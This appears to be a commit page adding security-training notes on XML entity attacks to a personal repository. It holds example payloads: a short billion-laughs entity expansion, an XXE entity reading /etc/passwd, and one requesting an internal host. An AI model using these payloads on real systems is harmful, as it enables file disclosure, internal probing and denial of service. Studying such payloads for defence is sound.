sander/notes
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Update sectraining.md

Browse source
This commit is contained in:
Sander Hautvast 2024-02-05 13:42:43 +01:00 • committed by GitHub
parent 9e880e3505
commit 4f7a44015d
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
1 changed files with 44 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

44
sectraining.md
View file

@ -188,3 +188,47 @@ private static String fetchRemoteObject(String location) throws Exception {
return body;
}
```
### XML Entity Expansion
#### billion laughs attack
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar "SecureFlag ">
<!ENTITY t1 "&bar;&bar;">
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
<!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
Join &t3;
</foo>
```
#### forgery
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<foo>
&xxe;
</foo>
```
or
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"http://internal.vulnerableapp.com:8443">
]>
<foo>
&xxe;
</foo>
```